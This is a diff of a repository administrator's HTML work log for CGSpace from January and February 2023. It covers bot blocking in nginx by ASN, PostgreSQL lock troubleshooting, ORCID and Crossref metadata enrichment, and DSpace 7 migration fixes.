+Purging 948 hits from Gov employment data scraper in statistics
+Purging 786 hits from Microsoft\.Data\.Mashup in statistics
+Purging 303 hits from crownpeak in statistics
+Purging 332 hits from Mozilla\/5.0 (compatible) in statistics
+
+Total number of bot hits purged: 4027
+
    +
  • Then I ran all system updates on the server and rebooted it +
      +
    • Hopefully this clears the locks and the nginx mitigation helps with the load from non-human hosts in large data centers
      • +
    • I need to re-work how I’m doing this whitelisting and blacklisting… it’s way too complicated now
      • +
    +
    • +
  • Export entire CGSpace to check Initiative mappings, and add nineteen…
    • +
  • Start a harvest on AReS
    • +
+

2023-01-18

+
    +
  • I’m looking at all the ORCID identifiers in the database, which seem to be way more than I realized:
    • +
+
localhost/dspacetest= ☘ \COPY (SELECT DISTINCT(text_value) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=247) to /tmp/2023-01-18-orcid-identifiers.txt;
+COPY 4231
+$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-identifier.xml /tmp/2023-01-18-orcid-identifiers.txt | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort -u > /tmp/2023-01-18-orcids.txt
+$ wc -l /tmp/2023-01-18-orcids.txt
+4518 /tmp/2023-01-18-orcids.txt
+
    +
  • Then I resolved them from ORCID and updated them in the database:
    • +
+
$ ./ilri/resolve-orcids.py -i /tmp/2023-01-18-orcids.txt -o /tmp/2023-01-18-orcids-names.txt -d
+$ ./ilri/update-orcids.py -i /tmp/2023-01-18-orcids-names.txt -db dspace -u dspace -p 'fuuu' -m 247
+
    +
  • Then I updated the controlled vocabulary
    • +
  • CGSpace became inactive in the afternoon, with a high number of locks, but surprisingly low CPU usage:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+     83 dspaceApi
+   7829 dspaceWeb
+
    +
  • In the DSpace logs I see some weird SQL messages, so I decided to restart PostgreSQL and Tomcat 7… +
      +
    • I hope this doesn’t cause some issue with in-progress workflows…
      • +
    +
    • +
  • I see another user on Cox in the US (98.186.216.144) crawling and scraping XMLUI with Python +
      +
    • I will add python to the list of bad bot user agents in nginx
      • +
    +
    • +
  • While looking into the locks I see some potential Java heap issues +
      +
    • Indeed, I see two out of memory errors in Tomcat’s journal:
      • +
    +
    • +
+
tomcat7[310996]: java.lang.OutOfMemoryError: Java heap space
+tomcat7[310996]: Jan 18, 2023 1:37:03 PM org.apache.tomcat.jdbc.pool.ConnectionPool abandon
+
    +
  • Which explains why the locks went down to normal numbers as I was watching… (because Java crashed)
    • +
+

2023-01-19

+
    +
  • Update a bunch of ORCID identifiers, Initiative mappings, and regions on CGSpace
    • +
  • So it seems an IFPRI user got caught up in the blocking I did yesterday +
      +
    • Their ISP is Comcast…
      • +
    • I need to re-work the ASN blocking on nginx, but for now I will just get the ASNs again minus Comcast:
      • +
    +
    • +
+
$ wget https://asn.ipinfo.app/api/text/list/AS714 \
+     https://asn.ipinfo.app/api/text/list/AS16276 \
+     https://asn.ipinfo.app/api/text/list/AS15169 \
+     https://asn.ipinfo.app/api/text/list/AS23576 \
+     https://asn.ipinfo.app/api/text/list/AS24940 \
+     https://asn.ipinfo.app/api/text/list/AS13238 \
+     https://asn.ipinfo.app/api/text/list/AS32934 \
+     https://asn.ipinfo.app/api/text/list/AS14061 \
+     https://asn.ipinfo.app/api/text/list/AS12876 \
+     https://asn.ipinfo.app/api/text/list/AS55286 \
+     https://asn.ipinfo.app/api/text/list/AS203020 \
+     https://asn.ipinfo.app/api/text/list/AS204287 \
+     https://asn.ipinfo.app/api/text/list/AS50245 \
+     https://asn.ipinfo.app/api/text/list/AS6939 \
+     https://asn.ipinfo.app/api/text/list/AS16509 \
+     https://asn.ipinfo.app/api/text/list/AS14618
+$ cat AS* | sort | uniq | wc -l
+18179
+$ cat /tmp/AS* | ~/go/bin/mapcidr -a > /tmp/networks.txt
+$ wc -l /tmp/networks.txt
+5872 /tmp/networks.txt
+

2023-01-20

+
    +
  • A lot of work on CGSpace metadata (ORCID identifiers, regions, and Initiatives)
    • +
  • I noticed that MEL and CGSpace are using slightly different vocabularies for SDGs so I sent an email to Salem and Sara
    • +
+

2023-01-21

+
    +
  • Export the Initiatives community again to perform collection mappings and country/region fixes
    • +
+

2023-01-22

+
    +
  • There has been a high load on the server for a few days, currently 8.0… and I’ve been seeing some PostgreSQL locks stuck all day:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+     11 dspaceApi
+     28 dspaceCli
+    981 dspaceWeb
+
    +
  • Looking at the locks I see they are from this morning at 5:00 AM, which is the dspace checker-email script +
      +
    • Last week I disabled the one that ones at 4:00 AM, but I guess I will experiment with disabling this too…
      • +
    • Then I killed the PIDs of the locks
      • +
    +
    • +
+
$ psql -c "SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid WHERE application_name='dspaceCli';" | less -S
+...
+$ ps auxw | grep 18986
+postgres 1429108  1.9  1.5 3359712 508148 ?      Ss   05:00  13:40 postgres: 12/main: dspace dspace 127.0.0.1(18986) SELECT
+
    +
  • Also, I checked the age of the locks and killed anything over 1 day:
    • +
+
$ psql < locks-age.sql | grep days | less -S
+
    +
  • Then I ran all updates on the server and restarted it…
    • +
  • Salem responded to my question about the SDG mismatch between MEL and CGSpace +
      +
    • We agreed to use a version based on the text of this site
      • +
    +
    • +
  • Salem is having issues with some REST API submission / updates +
      +
    • I updated DSpace Test with a recent CGSpace backup and created a super admin user for him to test
      • +
    +
    • +
  • Clean and normalize fifty-eight IFPRI records for batch import to CGSpace +
      +
    • I did a duplicate check and found six, so that’s good!
      • +
    +
    • +
  • I exported the entire CGSpace to check for missing Initiative mappings +
      +
    • Then I exported the Initiatives community to check for missing regions
      • +
    • Then I ran the script to check for missing ORCID identifiers
      • +
    • Then finally, I started a harvest on AReS
      • +
    +
    • +
+

2023-01-23

+
    +
  • Salem found that you can actually harvest everything in DSpace 7 using the discover/browses endpoint
    • +
  • Exported CGSpace again to examine and clean up a bunch of stuff like ISBNs in the ISSN field, DOIs in the URL field, dataset URLs in the DOI field, normalized a bunch of publisher places, fixed some countries and regions, fixed some licenses, etc +
      +
    • I noticed that we still have “North America” as a region, but according to UN M.49 that is the continent, which comprises “Northern America” the region, so I will update our controlled vocabularies and all existing entries
      • +
    • I imported changes to 1,800 items
      • +
    • When it finished five hours later I started a harvest on AReS
      • +
    +
    • +
+

2023-01-24

+
    +
  • Proof and upload seven items for the Rethinking Food Markets Initiative for IFPRI
    • +
  • Export CGSpace to do some minor cleanups, Initiative collection mappings, and region fixes +
      +
    • I also added “CGIAR Trust Fund” to all items with an Initiative in cg.contributor.initiative
      • +
    +
    • +
+

2023-01-25

+
    +
  • Oh shit, the import last night ran for twelve hours and then died:
    • +
+
Error committing changes to database: could not execute statement
+Aborting most recent changes.
+
    +
  • I re-submitted a smaller version without the CGIAR Trust Fund changes for now just so we get the regions and other fixes
    • +
  • Do some work on SAPLING issues for CGSpace, sending a large list of issues we found to the MEL team for items they submitted
    • +
  • Abenet noticed that the number of items in the Initiatives community appears to have dropped by about 2,000 in the XMLUI +
      +
    • We looked on AReS and all the items are still there
      • +
    • I looked in the DSpace log and see around 2,000 messages like this:
      • +
    +
    • +
+
2023-01-25 07:14:59,529 ERROR com.atmire.versioning.ModificationLogger @ Error while writing item to versioning index: c9fac1f2-6b2b-4941-8077-40b7b5c936b6 message:missing required field: epersonID
+org.apache.solr.client.solrj.impl.HttpSolrServer$RemoteSolrException: missing required field: epersonID
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:552)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.apache.solr.client.solrj.request.AbstractUpdateRequest.process(AbstractUpdateRequest.java:124)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:116)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:102)
+        at com.atmire.versioning.ModificationLogger.indexItem(ModificationLogger.java:263)
+        at com.atmire.versioning.ModificationConsumer.end(ModificationConsumer.java:134)
+        at org.dspace.event.BasicDispatcher.dispatch(BasicDispatcher.java:157)
+        at org.dspace.core.Context.dispatchEvents(Context.java:455)
+        at org.dspace.core.Context.commit(Context.java:424)
+        at org.dspace.core.Context.complete(Context.java:380)
+        at org.dspace.app.bulkedit.MetadataImport.main(MetadataImport.java:1399)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • I filed a ticket with Atmire to ask them
    • +
  • For now I just did a light Discovery reindex (not the full one) and all the items appeared again
    • +
  • Submit an issue to MEL GitHub regarding the capitalization of CRPs: https://github.com/CodeObia/MEL/issues/11133 +
      +
    • I talked to Salem and he said that this is a legacy thing from when CGSpace was using ALL CAPS for most of its metadata. I provided him with our current controlled vocabulary for CRPs and he will update it in MEL.
      • +
    • On that note, Peter and Abenet and I realized that we still have an old field cg.subject.crp with about 450 values in it, but it has not been used for a few years (they are using the old ALL CAPS CRPs)
      • +
    • I exported this list of values to lowercase them and move them to cg.contributor.crp
      • +
    • Even if some items end up with multiple CRPs, they will get de-duplicated when I remove duplicate values soon
      • +
    +
    • +
+
$ ./ilri/fix-metadata-values.py -i /tmp/2023-01-25-fix-crp-subjects.csv -db dspace -u dspace -p 'fuuu' -f cg.subject.crp -t correct
+$ ./ilri/move-metadata-values.py -i /tmp/2023-01-25-move-crp-subjects.csv -db dspace -u dspace -p 'fuuu' -f cg.subject.crp -t cg.contributor.crp
+
    +
  • After fixing and moving them all, I deleted the cg.subject.crp field from the metadata registry
    • +
  • I realized a smarter way to update the text lang attributes of metadata would be to restrict the query to items that are in the archive and not withdrawn:
    • +
+
UPDATE metadatavalue SET text_lang='en_US' WHERE dspace_object_id IN (SELECT uuid FROM item WHERE in_archive AND NOT withdrawn) AND text_lang IS NULL OR text_lang IN ('en', '');
+
    +
  • +

    I tried that in a transaction and it hung, so I canceled it and rolled back

    +
    • +
  • +

    I see some PostgreSQL locks attributed to dspaceApi that were started at 2023-01-25 13:40:04.529087+01 and haven’t changed since then (that’s eight hours ago)

    +
      +
    • I killed the pid…
      • +
    • There were also saw some locks owned by dspaceWeb that were nine and four hours old, so I killed those too…
      • +
    • Now Maria was able to archive one submission of hers that was hanging all afternoon, but I still can’t run the update on the text langs…
      • +
    +
    • +
  • +

    Export entire CGSpace to do Initiative mappings again

    +
    • +
  • +

    Started a harvest on AReS

    +
    • +
+

2023-01-26

+
    +
  • Export entire CGSpace to do some metadata cleanup on various fields +
      +
    • I also added “CGIAR Trust Fund” to all items in the Initiatives community
      • +
    +
    • +
+

2023-01-27

+
    +
  • Export a list of affiliations in the Initiatives community for Peter, trying a new method to avoid exporting everything from PostgreSQL:
    • +
+
$ dspace metadata-export -i 10568/115087 -f /tmp/2023-01-27-initiatives.csv
+$ csvcut -c 'cg.contributor.affiliation[en_US]' 2023-01-27-initiatives.csv \
+  | sed -e 1d -e 's/^"//' -e 's/"$//' -e 's/||/\n/g' -e '/^$/d'            \
+  | sort | uniq -c | sort -h                                               \
+  | awk 'BEGIN { FS = "^[[:space:]]+[[:digit:]]+[[:space:]]+" } {print $2}'\
+  | sed -e '1i cg.contributor.affiliation' -e 's/^\(.*\)$/"\1"/'           \
+  > /tmp/2023-01-27-initiatives-affiliations.csv
+
    +
  • The first sed command strips the quotes, deletes empty lines, and splits multiple values on “||”
    • +
  • The awk command sets the field separator to something so we can get the second “field” of the sort command, ie:
    • +
+
...
+    309 International Center for Agricultural Research in the Dry Areas
+    412 International Livestock Research Institute
+
    +
  • The second sed command adds the CSV header and quotes back
    • +
  • I did the same for authors and donors and send them to Peter to make corrections
    • +
+

2023-01-28

+
    +
  • Daniel from the Alliance said they are getting an HTTP 401 when trying to submit items to CGSpace via the REST API
    • +
+

2023-01-29

+
    +
  • Export the entire CGSpace to do Initiatives collection mappings
    • +
  • I was thinking about a way to use Crossref’s API to enrich our data, for example checking registered DOIs for license information, publishers, etc +
      +
    • Turns out I had already written crossref-doi-lookup.py last year, and it works
      • +
    • I exported a list of all DOIs without licenses from CGSpace, minus the CIFOR ones because I know they aren’t registered on Crossref, which is about 11,800 DOIs
      • +
    +
    • +
+
$ csvcut -c 'cg.identifier.doi[en_US]' ~/Downloads/2023-01-29-CGSpace-DOIs-without-licenses.csv \
+  | csvgrep -c 'cg.identifier.doi[en_US]' -r '.*cifor.*' -i \
+  | sed 1d > /tmp/2023-01-29-dois.txt
+$ wc -l /tmp/2023-01-29-dois.txt
+11819 /tmp/2023-01-29-dois.txt
+$ ./ilri/crossref-doi-lookup.py -e a.orth@cgiar.org -i /tmp/2023-01-29-dois.txt -o /tmp/crossref-results.csv
+$ csvcut -c 'id,cg.identifier.doi[en_US]' ~/Downloads/2023-01-29-CGSpace-DOIs-without-licenses.csv \
+  | sed -e 's_https://doi.org/__g' -e 's_https://dx.doi.org/__g' -e 's/cg.identifier.doi\[en_US\]/doi/' \
+  > /tmp/cgspace-temp.csv
+$ csvjoin -c doi /tmp/cgspace-temp.csv /tmp/crossref-results.csv \
+  | csvgrep -c license -r 'creative' \
+  | sed '1s/license/dcterms.license[en_US]/' \
+  | csvcut -c id,license > /tmp/2023-01-29-new-licenses.csv
+
    +
  • The above was done with just 5,000 DOIs because it was taking a long time, but after the last step I imported into OpenRefine to clean up the license URLs +
      +
    • Then I imported 635 new licenses to CGSpace woooo
      • +
    • After checking the remaining 6,500 DOIs there were another 852 new licenses, woooo
      • +
    +
    • +
  • Peter finished the corrections on affiliations, authors, and donors +
      +
    • I quickly checked them and applied each on CGSpace
      • +
    +
    • +
  • Start a harvest on AReS
    • +
+

2023-01-30

+
    +
  • Run the thumbnail fixer tasks on the Initiatives collections:
    • +
+
$ chrt -b 0 dspace dsrun io.github.ilri.cgspace.scripts.FixLowQualityThumbnails 10568/115087 | tee -a /tmp/FixLowQualityThumbnails.log
+$ grep -c remove /tmp/FixLowQualityThumbnails.log
+16
+$ chrt -b 0 dspace dsrun io.github.ilri.cgspace.scripts.FixJpgJpgThumbnails 10568/115087 | tee -a /tmp/FixJpgJpgThumbnails.log
+$ grep -c replacing /tmp/FixJpgJpgThumbnails.log 
+13
+

2023-01-31

+
    +
  • Someone from the Google Scholar team contacted us to ask why Googlebot is blocked from crawling CGSpace +
      +
    • I said that I blocked them because they crawl haphazardly and we had high load during PRMS reporting
      • +
    • Now I will unblock their ASN15169 in nginx…
      • +
    • I urged them to be smarter about crawling since we’re a small team and they are a huge engineering company
      • +
    +
    • +
  • I removed their ASN and regenerted my list from 2023-01-17:
    • +
+
$ wget https://asn.ipinfo.app/api/text/list/AS714 \
+     https://asn.ipinfo.app/api/text/list/AS16276 \
+     https://asn.ipinfo.app/api/text/list/AS23576 \
+     https://asn.ipinfo.app/api/text/list/AS24940 \
+     https://asn.ipinfo.app/api/text/list/AS13238 \
+     https://asn.ipinfo.app/api/text/list/AS32934 \
+     https://asn.ipinfo.app/api/text/list/AS14061 \
+     https://asn.ipinfo.app/api/text/list/AS12876 \
+     https://asn.ipinfo.app/api/text/list/AS55286 \
+     https://asn.ipinfo.app/api/text/list/AS203020 \
+     https://asn.ipinfo.app/api/text/list/AS204287 \
+     https://asn.ipinfo.app/api/text/list/AS50245 \
+     https://asn.ipinfo.app/api/text/list/AS6939 \
+     https://asn.ipinfo.app/api/text/list/AS16509 \
+     https://asn.ipinfo.app/api/text/list/AS14618
+$ cat AS* | sort | uniq | wc -l
+17134
+$ cat /tmp/AS* | ~/go/bin/mapcidr -a > /tmp/networks.txt
+
    +
  • Then I updated nginx…
    • +
  • Re-run the scripts to delete duplicate metadata values and update item timestamps that I originally used in 2022-11 +
      +
    • This was about 650 duplicate metadata values…
      • +
    +
    • +
  • Exported CGSpace to do some metadata interrogation in OpenRefine +
      +
    • I looked at items that are set as Limited Access but have Creative Commons licenses
      • +
    • I filtered ~150 that had DOIs and checked them on the Crossref API using crossref-doi-lookup.py
      • +
    • Of those, only about five or so were incorrectly marked as having Creative Commons licenses, so I set those to copyrighted
      • +
    • For the rest, I set them to Open Access
      • +
    +
    • +
  • Start a harvest on AReS
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2023-02/index.html b/docs/2023-02/index.html new file mode 100644 index 000000000..4261fdc53 --- /dev/null +++ b/docs/2023-02/index.html @@ -0,0 +1,701 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + February, 2023 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

February, 2023

+

+ + in + Notes + + +

+
+

2023-02-01

+
    +
  • Export CGSpace to cross check the DOI metadata with Crossref +
      +
    • I want to try to expand my use of their data to journals, publishers, volumes, issues, etc…
      • +
    +
    • +
+
    +
  • First, extract a list of DOIs for use with crossref-doi-lookup.py:
    • +
+
$ csvcut -c 'cg.identifier.doi[en_US]' ~/Downloads/2023-02-01-cgspace.csv \
+  | csvgrep -c 1 -m 'doi.org' \
+  | csvgrep -c 1 -m ' ' -i \
+  | csvgrep -c 1 -r '.*cifor.*' -i \
+  | sed 1d > /tmp/2023-02-01-dois.txt
+$ ./ilri/crossref-doi-lookup.py -e a.orth@cgiar.org -i /tmp/2023-02-01-dois.txt -o ~/Downloads/2023-01-31-crossref-results.csv -d
+
    +
  • Then extract the ID, DOI, journal, volume, issue, publisher, etc from the CGSpace dump and rename the cg.identifier.doi[en_US] to doi so we can join on it with the Crossref results file:
    • +
+
$ csvcut -c 'id,cg.identifier.doi[en_US],cg.journal[en_US],cg.volume[en_US],cg.issue[en_US],dcterms.publisher[en_US],cg.number[en_US],dcterms.license[en_US]' ~/Downloads/2023-02-01-cgspace.csv \
+  | csvgrep -c 'cg.identifier.doi[en_US]' -r '.*cifor.*' -i \
+  | sed -e '1s/cg.identifier.doi\[en_US\]/doi/' \
+    -e 's_https://doi.org/__g' \
+    -e 's_https://dx.doi.org/__g' \
+  > /tmp/2023-02-01-cgspace-doi-metadata.csv
+$ csvjoin -c doi /tmp/2023-02-01-cgspace-doi-metadata.csv ~/Downloads/2023-02-01-crossref-results.csv > /tmp/2023-02-01-cgspace-crossref-check.csv
+
    +
  • And import into OpenRefine for analysis and cleaning
    • +
  • I just noticed that Crossref also has types, so we could use that in the future too!
    • +
  • I got a few corrections after examining manually, but I didn’t manage to identify any patterns that I could use to do any automatic matching or cleaning
    • +
+

2023-02-05

+
    +
  • Normalize text lang attributes in PostgreSQL, run a quick Discovery index, and then export CGSpace to check Initiative mappings and countries/regions
    • +
  • Run all system updates on CGSpace (linode18) and reboot it
    • +
+

2023-02-06

+ +

2023-02-07

+
    +
  • IFPRI’s web developer Tony managed to get his Drupal harvester to have a useful user agent:
    • +
+
54.x.x.x - - [06/Feb/2023:10:10:32 +0100] "POST /rest/items/find-by-metadata-field?limit=%22100&offset=0 HTTP/1.1" 200 58855 "-" "IFPRI drupal POST harvester"
+
    +
  • He also noticed that there is no pagination on POST requests to /rest/items/find-by-metadata-field, and that he needs to increase his timeout for requests that return 100+ results, ie:
    • +
+
curl -f -H "Content-Type: application/json" -X POST "https://dspacetest.cgiar.org/rest/items/find-by-metadata-field" -d '{"key":"cg.subject.actionArea", "value":"Systems Transformation", "language": "en_US"}'
+
    +
  • I need to ask on the DSpace Slack about this POST pagination
    • +
  • Abenet and Udana noticed that the Handle server was not running +
      +
    • Looking in the error.log file I see that the service is complaining about a lock file being present
      • +
    • This is because Linode had to do emergency maintenance on the VM host this morning and the Handle server didn’t shut down properly
      • +
    +
    • +
  • I’m having an issue with poetry update so I spent some time debugging and filed an issue
    • +
  • Proof and import nine items for the Digital Innovation Inititive for IFPRI +
      +
    • There were only some minor issues in the metadata
      • +
    • I also did a duplicate check with check-duplicates.py just in case
      • +
    +
    • +
  • I did some minor updates on csv-metadata-quality +
      +
    • First, to reduce warnings on non-SPDX licenses like “Copyrighted; all rights reserved” and “Other” since they are very common for us and I’m sick of seeing the warnings
      • +
    • Second, to skip whitespace and newline fixes on the abstract field since so many times they are intended
      • +
    +
    • +
+

2023-02-08

+
    +
  • Make some edits to IFPRI records requested by Jawoo and Leigh
    • +
  • Help Alessandra upload a last minute report for SAPLING
    • +
  • Proof and upload twenty-seven IFPRI records to CGSpace +
      +
    • It’s a good thing I did a duplicate check because I found three duplicates!
      • +
    +
    • +
  • Export CGSpace to update Initiative mappings and country/region mappings +
      +
    • Then start a harvest on AReS
      • +
    +
    • +
+

2023-02-09

+
    +
  • Do some minor work on the CSS on the DSpace 7 test
    • +
+

2023-02-10

+
    +
  • I noticed a large number of PostgreSQL locks from dspaceWeb on CGSpace:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+   2033 dspaceWeb
+
    +
  • Looking at the lock age, I see some already 1 day old, including this curious query:
    • +
+
select nextval ('public.registrationdata_seq')
+
    +
  • I killed all locks that were more than a few hours old
    • +
  • Export CGSpace to update Initiative collection mappings
    • +
  • Discuss adding dcterms.available to the submission form +
      +
    • I also looked in the dcterms.description field on CGSpace and found ~1,500 items where the is an indication of an online published date
      • +
    • Using some facets in OpenRefine I narrowed down the ones mentioning “online” and then extracted the dates to a new column:
      • +
    +
    • +
+
cells['dcterms.description[en_US]'].value.replace(/.*?(\d+{2}) ([a-zA-Z]+) (\d+{2}).*/,"$3-$2-$1")
+
    +
  • Then to handle formats like “2022-April-26” and “2021-Nov-11” I used some replacement GRELs (note the order so we don’t replace short patterns in longer strings prematurely):
    • +
+
value.replace("January","01").replace("February","02").replace("March","03").replace("April","04").replace("May","05").replace("June","06").replace("July","07").replace("August","08").replace("September","09").replace("October","10").replace("November","11").replace("December","12")
+value.replace("Jan","01").replace("Feb","02").replace("Mar","03").replace("Apr","04").replace("May","05").replace("Jun","06").replace("Jul","07").replace("Aug","08").replace("Sep","09").replace("Oct","10").replace("Nov","11").replace("Dec","12")
+
    +
  • This covered about 1,300 items, then I did about 100 more messier ones with some more regex wranling +
      +
    • I removed the dcterms.description[en_US] field from items where I updated the dates
      • +
    +
    • +
  • Then I added dcterms.available to the submission form and the item view +
      +
    • We need to announce this to the editors
      • +
    +
    • +
+

2023-02-13

+
    +
  • Export CGSpace to do some metadata quality checks +
      +
    • I added CGIAR Trust Fund as a donor to some new Initiative outputs
      • +
    • I moved some abstracts from the description field
      • +
    • I moved some version information to the cg.edition field
      • +
    +
    • +
+

2023-02-14

+
    +
  • The PRMS team in Colombia sent some questions about countries on CGSpace +
      +
    • I had to fix some, that were clearly wrong, but there is also a difference between CGSpace and MEL because we use mostly iso-codes, and MEL uses the UN M.49 list
      • +
    • Then I re-ran the country code tagger from cgspace-java-helpers, forcing the update on all items in the Initiatives community
      • +
    +
    • +
  • Remove Alliance research levers from cg.contributor.crp field after discussing with Daniel and Maria +
      +
    • This was a mistake on TIP’s part, and there is no direct mapping between research levers and CRPs
      • +
    +
    • +
  • I exported CGSpace to check Initiative collection mappings, regions, and licenses +
      +
    • Peter told me that all CGIAR blog posts for the Initiatives should be CC-BY-4.0, and I see the logo at the bottom in light gray!
      • +
    • I had previously missed that and removed some licenses for blog posts
      • +
    • I checked cgiar.org, ifpri.org, icarda.org, iwmi.cgiar.org, irri.org, etc and corrected a handful
      • +
    +
    • +
  • Start a harvest on AReS
    • +
+

2023-02-15

+
    +
  • Work on rebasing my local DSpace 7 dev branches on top of the latest 7.5-SNAPSHOT +
      +
    • It seems the issues I had with the dspace submission-forms-migrate tool in August, 2022 were fixed
      • +
    +
    • +
  • I imported a fresh PostgreSQL snapshot from CGSpace and then removed the Atmire migrations and ran the new migrations as I originally noted in March, 2022, and is pointed out in the DSpace 7 upgrade notes +
      +
    • Now I get a new error:
      • +
    +
    • +
+
localhost/dspace7= ☘ DELETE FROM schema_version WHERE version IN ('5.0.2017.09.25', '6.0.2017.01.30', '6.0.2017.09.25');
+localhost/dspace7= ☘ DELETE FROM schema_version WHERE description LIKE '%Atmire%' OR description LIKE '%CUA%' OR description LIKE '%cua%';
+localhost/dspace7= \q
+$ ./bin/dspace database migrate ignored
+...
+
+CREATE INDEX resourcepolicy_action_idx ON resourcepolicy(action_id)
+
+        at org.flywaydb.core.internal.sqlscript.DefaultSqlScriptExecutor.handleException(DefaultSqlScriptExecutor.java:275)
+        at org.flywaydb.core.internal.sqlscript.DefaultSqlScriptExecutor.executeStatement(DefaultSqlScriptExecutor.java:222)
+        at org.flywaydb.core.internal.sqlscript.DefaultSqlScriptExecutor.execute(DefaultSqlScriptExecutor.java:126)
+        at org.flywaydb.core.internal.resolver.sql.SqlMigrationExecutor.executeOnce(SqlMigrationExecutor.java:69)
+        at org.flywaydb.core.internal.resolver.sql.SqlMigrationExecutor.lambda$execute$0(SqlMigrationExecutor.java:58)
+        at org.flywaydb.core.internal.database.DefaultExecutionStrategy.execute(DefaultExecutionStrategy.java:27)
+        at org.flywaydb.core.internal.resolver.sql.SqlMigrationExecutor.execute(SqlMigrationExecutor.java:57)
+        at org.flywaydb.core.internal.command.DbMigrate.doMigrateGroup(DbMigrate.java:377)
+        ... 24 more
+Caused by: org.postgresql.util.PSQLException: ERROR: relation "resourcepolicy_action_idx" already exists
+        at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2676)
+        at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:2366)
+        at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:356)
+        at org.postgresql.jdbc.PgStatement.executeInternal(PgStatement.java:496)
+        at org.postgresql.jdbc.PgStatement.execute(PgStatement.java:413)
+        at org.postgresql.jdbc.PgStatement.executeWithFlags(PgStatement.java:333)
+        at org.postgresql.jdbc.PgStatement.executeCachedSql(PgStatement.java:319)
+        at org.postgresql.jdbc.PgStatement.executeWithFlags(PgStatement.java:295)
+        at org.postgresql.jdbc.PgStatement.execute(PgStatement.java:290)
+        at org.apache.commons.dbcp2.DelegatingStatement.execute(DelegatingStatement.java:193)
+        at org.apache.commons.dbcp2.DelegatingStatement.execute(DelegatingStatement.java:193)
+        at org.flywaydb.core.internal.jdbc.JdbcTemplate.executeStatement(JdbcTemplate.java:201)
+        at org.flywaydb.core.internal.sqlscript.ParsedSqlStatement.execute(ParsedSqlStatement.java:95)
+        at org.flywaydb.core.internal.sqlscript.DefaultSqlScriptExecutor.executeStatement(DefaultSqlScriptExecutor.java:210)
+        ... 30 more
+
    +
  • I dropped that index and then the migration succeeded:
    • +
+
localhost/dspace7= ☘ DROP INDEX resourcepolicy_action_idx;
+localhost/dspace7= ☘ \q
+$ ./bin/dspace database migrate ignored
+Done.
+
+

2023-02-16

+
    +
  • I found a suspicious number of PostgreSQL locks on CGSpace and decided to investigate:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+     44 dspaceApi
+    372 dspaceCli
+    446 dspaceWeb
+
    +
  • This started happening yesterday and I killed a few locks that were several hours old after inspecting the locks-age.sql output
    • +
  • I also checked the locks.sql output, which helpfully lists the blocked PID and the blocking PID, to find one blocking PID that was idle in transaction +
      +
    • I killed that process and then all other locks were instantly processed
      • +
    +
    • +
  • I filed a GitHub issue on dspace-angular requesting the item view to use the bitstream description instead of the file name if present
    • +
  • Weekly CG Core types meeting +
      +
    • I need to go through the actions and remove those items that are only for CGSpace internal use, ie: +
        +
      • CD-ROM
        • +
      • Manuscript-unpublished
        • +
      • Photo Report
        • +
      • Questionnaire
        • +
      • Wiki
        • +
      +
      • +
    +
    • +
  • Weekly CGIAR Repository Working Group meeting
    • +
  • I did some experiments with Crossref dates for about 20,000 DOIs in CGSpace using my crossref-doi-lookup.py script
    • +
  • Some things I noted from reading the Crossref API docs and inspecting the records for a few dozen DOIs manually: +
      +
    • ["created"]["date-parts"] → Date on which the DOI was first registered (not useful for us)
      • +
    • ["published-print"]["date-parts"] → Date on which the work was published in print
      • +
    • ["journal-issue"]["published-print"]["date-parts"] → When present, is 99% the same as the above
      • +
    • ["published-online"]["date-parts"] → Date on which the work was published online
      • +
    • ["journal-issue"]["published-online"]["date-parts"] → Much more rare, and only 50% the same as the above, so unreliable
      • +
    • ["issued"]["date-parts"] → Earliest of published-print and published-online (not useful to us)
      • +
    +
    • +
  • After checking the DOIs manully I decided that when the published-print date exists, it is usually more accurate than our issued dates +
      +
    • I set 12,300 issue dates to those from Crossref
      • +
    +
    • +
  • I also decided that, when published-online exists, it is usually accurate when I check the publisher page (we don’t have many online dates to compare) +
      +
    • I set the available date for ~7,000 items to the published-online date as long as: +
        +
      • There was no dcterms.available date already
